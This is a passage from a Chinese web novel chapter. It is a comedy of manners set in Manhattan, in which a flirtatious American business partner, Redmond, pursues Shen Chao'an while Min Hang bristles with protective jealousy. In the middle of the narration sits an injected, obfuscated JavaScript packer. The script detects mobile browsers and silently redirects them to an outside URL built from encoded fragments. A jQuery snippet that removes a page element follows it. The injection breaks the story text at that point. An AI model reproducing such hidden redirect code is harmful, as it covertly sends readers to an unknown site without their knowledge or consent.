“你是我见过最好看的东方美人,在这次合作结束以后,你能和我约会吗?”雷德蒙惊艳的眼神一直在沈潮安的脸上没移开,握住的手也没松开。 闵行的脸立刻就黑了。 沈潮安惊讶地抽回手。 这位汉子原来是gay子啊?看不出来啊! 闵行的秘书团在后面稍远一点的地方装蘑菇,蘑菇没有眼睛和耳朵,他们什么都没看见也没听见。 雷德蒙的秘书毫不意外他的不着调,赶忙挤开雷德蒙向沈潮安和闵行鞠躬道歉:“非常抱歉两位先生,雷德蒙先生失态了。请二位上车,在去酒店的路上我们可以先开香槟预祝合作愉快。” 被撞到一边的雷德蒙也自知失态:“非常抱歉,我被您的美貌冲昏了头脑,才做出如此失礼的行为,我请求您的原谅。” 沈潮安看了闵行一眼,闵行的脸色更黑了。 好少见。好想干坏事。 他对雷德蒙露出一个温和的笑:“没关系,我接受你的道歉。” 雷德蒙大喜:“你的笑容真好看。” 闵行插在他们两个中间,也微笑起来:“好了,我们在这里站了很久了,是时候出发了对吧。我们坐了13个小时的飞机,已经很累了。” 他们坐上了车,雷德蒙亲自为他们开了香槟,几个酒杯碰撞在一起,奠定了友好合作的感情基础。 考虑到长途差旅的劳累,加长林肯将他们送到位以后就没有后续的活动邀约,接下来的时间他们可以好好休息。 “你离那个雷德蒙远一点。”在向上运行的电梯里,闵行对沈潮安说。 从雷德蒙夸赞他是个东方美人到现在,雷德蒙人都走了,闵行的脸色依旧很臭。 不知道的还以为他原本就长了这么一副臭脸。 “为什么啊?”沈潮安假装听不懂。“我觉得那个雷德蒙挺真诚的,虽然一开始是有点冒犯,但他道歉了。” “他的表现像个黄热病,谁知道他有没有对别的东方人也说过同样的称赞呢?”闵行的眉头夹得死紧,仿佛能夹死一只苍蝇。 “妈妈,你怎么可以在没有证据的情况下随意揣测别人呢?你以前教过我的,永远不要片面地去看待一个人。”沈潮安找到了新的乐趣,故意和闵行唱反调。 “你学得很好。”闵行颇有一种搬起石头砸自己的脚的感觉,他深呼吸一口气,试图再说点什么。 “妈妈,你为什么这么讨厌雷德蒙呢。我想听一点别的理由,而不是他不太礼貌他像个黄热病的这种。我要听真正的答案。”沈潮安说。 其实答案很简单,只是看闵行肯不肯承认。 13. 第 13 章 闵行现在还不想说实话。 不能容忍自己的孩子被野生大白猪拱了是人之常情,但直截了当地承认对于闵行来说还是有点过于感情外露了。 “直觉。我的直觉让我对雷德蒙格外没有好感。”他嘴硬地说。 “哦。”沈潮安听见这样的答案毫不意外。 他没再多说什么,反正还有一周的时间,足够发生很多事情了。 公寓套房就跟一个小家差不多,这间套房有三个房间,他和闵行一人一个还多出来一个。 沈潮安将行李箱放回房间,然后再出门探索外面的区域。 客厅的沙发是环形沙发,矮茶几下面铺了一张厚厚的毛绒地毯,旁边就是一整扇落地窗,但是现在上面被厚厚的落地窗帘遮住了。 沈潮安抬头看了一眼上面的轨道,在墙壁上摸了摸,按下电动开关,厚重的窗帘徐徐拉开。 他趴在玻璃上,小心翼翼地往下看。 白天的曼哈顿街区车流微如蝼蚁,行人微缩成了像素点,看起来只有色块和色块之间的区别,能看得清的是巨大的广告招牌和那些高耸建筑上的公司logo,看不出有什么额外出彩的地方。 阳光普照下林立的高楼和世界上任何一个CBD都没有任何区别。 “夜晚再来看吧,要出去逛逛吗。”闵行的影子重叠在干净透亮的窗玻璃上。 “现在还不想出去,你在飞机上有睡觉吗,应该要多休息一下才对。”沈潮安抬头往后靠,靠在了闵行的肩膀上。 “睡了一会儿,不是很困。我们可以在午饭以后就去自然历史博物馆,还可以逛逛中央公园。”闵行撩了撩他飞起来的几根倔强的呆毛。 “去逛中央公园啊。好想念,上次去还是初中的时候呢,我认识了一条名字叫菲洛的小狗,和它度过了愉快的半个下午。”沈潮安怀念地说。 “然后因为穿着短裤在草坪上还有矮树篱里疯跑,被蜱虫咬了好几口,过敏了整整两个星期。”闵行补充说。 “啊哈哈,是吗,我完全不记得了。好饿啊,有零食吃吗,我想去看看冰箱。”沈潮安打着哈哈说。 他矮身往闵行的胳膊底下一钻,眨眼之间就挪移到了厨房的位置打开冰箱。 闵行转过头去带着笑意看沈潮安的后脑勺,然后手机铃声响了。 只是接个电话的短短几分钟,他就失去了所有笑容和好脸色。 “是谁的电话啊?”沈潮安从冰箱里翻出了一瓶橙汁和两瓶啤酒。 “雷德蒙的,他在第五大道附近订了一家亚洲餐厅,邀请我们一起共进午餐。”闵行说。 “美国人开的中餐厅吗?”沈潮安的重点有点偏移,“会不会有左宗棠鸡和宫保鸡丁之类的美式中餐?” “你可以在Yelp上看看有没有那家餐厅的评价。”闵行深吸了一口气说。 沈潮安觉得现在的闵行很好玩,这种感觉就和他看闵行要去相亲的时候差不多,只不过他们的位置颠倒过来了。 他很乐意接受雷德蒙的邀请,他想看看闵行更多的有趣反应。 纽约时间上午11点,那辆熟悉的加长林肯再次停在公寓楼下。 车门打开,只是消失了两个小时的雷德蒙更换了一整套新行头,将魁梧壮硕的身材和那张美式硬汉刀削般的面容装扮得英俊了几分。 此时他正朝着沈潮安抛媚眼:“亲爱的沈先生,感谢您能赏脸来和我一同共进午餐,不知道您今天下午有没有安排行程,我想邀请您和我一起去参观我的赛马俱乐部。” 沈潮安完全没听进去,而是低头扯扯自己的T恤说:“那家亚洲餐厅有着装要求吗,我穿T恤和球鞋会不会进不去。” 雷德蒙刚想回答,就被闵行打断:“雷德蒙先生,我们到这里来的主要目的是商务洽谈,去参观你的赛马俱乐部并不在我们的行程上。” 雷德蒙表情诧异:“我们?不不,我只邀请了沈先生去参观我的赛马俱乐部,共进午餐以后的活动我并没有邀请你。” 哈哈哈哈! 沈潮安憋着笑,他真的从来没有见过闵行如此憋屈的表情,雷德蒙实在是太会说话了,每一句都精准踩在雷区并且让闵行无法拉下脸去反驳。 不过为了避免场面失控,他还是打了一下圆场:“参观赛马俱乐部吗?我们今天下午已经有安排了,去参观自然历史博物馆,还有去中央公园闲逛。” 闵行面无表情地说:“雷德蒙先生,请你不要介意我们的失陪。” 雷德蒙毫不介意:“没关系,我可以不介意和你一起去,我最热爱历史了,还有逛公园,多么美好的安排啊!” 在去餐厅的路上,闵行一直没有说话,沈潮安猜他大概是气的。 雷德蒙是一个很神奇的人,只要他沉浸在自己的世界里那么就可以无视给他坏脸色的人。 特地坐在他们两个中间阻隔开他们的闵行被忽略了个彻底。 在去餐厅的路上雷德蒙侃侃而谈,真的能说出一些自然历史爱好者喜爱的话题,让沈潮安不由得高看他一眼。 午餐不是重点,不过作为美国人开的亚洲餐厅来说,味道竟然挺正宗的。 沈潮安有点想将他们的主厨叫出来看看是不是亚洲人。 “亲爱的沈,你还没有告诉过我你的名字,是用中文念出来的名字。”用餐结束后雷德蒙对沈潮安说道。 只是一顿饭的功夫,雷德蒙就自动拉近了他们之间的距离。 这倒不是什么不能说的。 “潮安,我的名字叫沈潮安。”沈潮安回答道。 “你怎么不一起问问我的名字呢?”闵行脸上带着很明显的假笑。 “闵先生,我们合作之前不是已经早就互相知道姓名了吗?”雷德蒙用一种惊讶的表情看着闵行。 “噗。”这次沈潮安真的没忍住笑出了声。 闵行的脸色更黑了。 “潮安,我这样念得对吗?真是一个好听的名字啊,安静的潮水,那一定是一幅非常美的画面。”雷德蒙用非常深情的语气说。 如果没有用河南话的调调来说出他的名字的话,那应该还是比较唯美的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464275|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈潮安现在特别想笑。 “好了,我们该走了。雷德蒙先生,不介意当我们这一日的导游吧?”闵行打断了接下来会发生的对话。 雷德蒙是铁定缠上他们了,不如转换心态将他当成免费导游,运用精神胜利法让自己能够好受一点。 “当然不介意,能够为这么一位东方美人服务是我的荣幸。”雷德蒙伸出手,想要按绅士的做法给沈潮安一个吻手礼。 他当然不会如愿。 “非常感谢请你为我们所做的。”闵行伸出手握住,变成了象征合作愉快的握手。 “嘿嘿嘿!我是跟东方美人说话又不是跟你!”雷德蒙大惊失色地撇开手,仿佛碰了什么脏东西。 沈潮安已经走远了。 他们没有直接去自然博物馆,而是回了酒店。 闵行的神色有明显的困倦,沈潮安不想他强撑着精神来陪他闲逛一个下午,干脆就说是他自己困了,要先回酒店休息。 “午安,妈妈。要好好休息哦,起床迟了也没有关系。”沈潮安倚在闵行房间门口,啪的一下关掉了房间的灯。 “嗯。”闵行答应了一声。 完全睡不着,担心会有只大白猪闯进来,将他养的水灵灵好白菜拱走。 “哼哼。”雷德蒙发出两声快乐的猪叫。 “雷德蒙先生,雪莉找您。”秘书捂住话筒,凑近过来说。 “替我拒绝她,我和她之间已经完了。现在我正在追求一位东方美人,我相信我们一定会有一个美好的未来。”雷德蒙眼中都是对美好新未来的憧憬。 “□□爹雷德蒙!你这个该死的混蛋!我当初是怎么看上你这坨屎的!滚你爹的蛋!现在是老娘甩了你!”雪莉的尖叫从话筒那边传来,秘书的表情一脸恐慌。 “请注意你的措辞亲爱的雪莉,我们只是约会过几次,并没有真正地在一起过。”雷德蒙无所谓地掏掏耳朵。 在下一波尖叫来袭之前,秘书眼疾手快赶紧挂上了听筒。 下午重新见到雷德蒙的时候,沈潮安觉得他和之前见到的好像有点不太一样。 具体是哪里不一样呢?好像是脸不太对称了,有一边的轮廓比另一边要略微高起那么一点儿。 可能是走路的时候撞到墙了吧。 沈潮安如此想道。 “你们沉睡了很久,我亲爱的朋友们。”雷德蒙迎上来,脸上做出大笑的表情。 “你是脸抽筋了吗?”闵行毫不客气地说。 “一点点无伤大雅的小意外。不说这个了,请上车吧。欢迎来到曼哈顿,我是你们忠实的导游雷德蒙。”雷德蒙扯着一边嘴角笑。 旅游有本地人带着就是不一样,沈潮安很多年之前来过几次自然博物馆,体验都没有这次良好。 但是对于闵行来说就不怎么良好了。 雷德蒙的大献殷勤给他敲响了警钟。 是时候改变教育方针了。 闵行匿名在亲子教育论坛发了一个帖子,标题就叫《求助,怎么防止孩子被黄毛骗走》。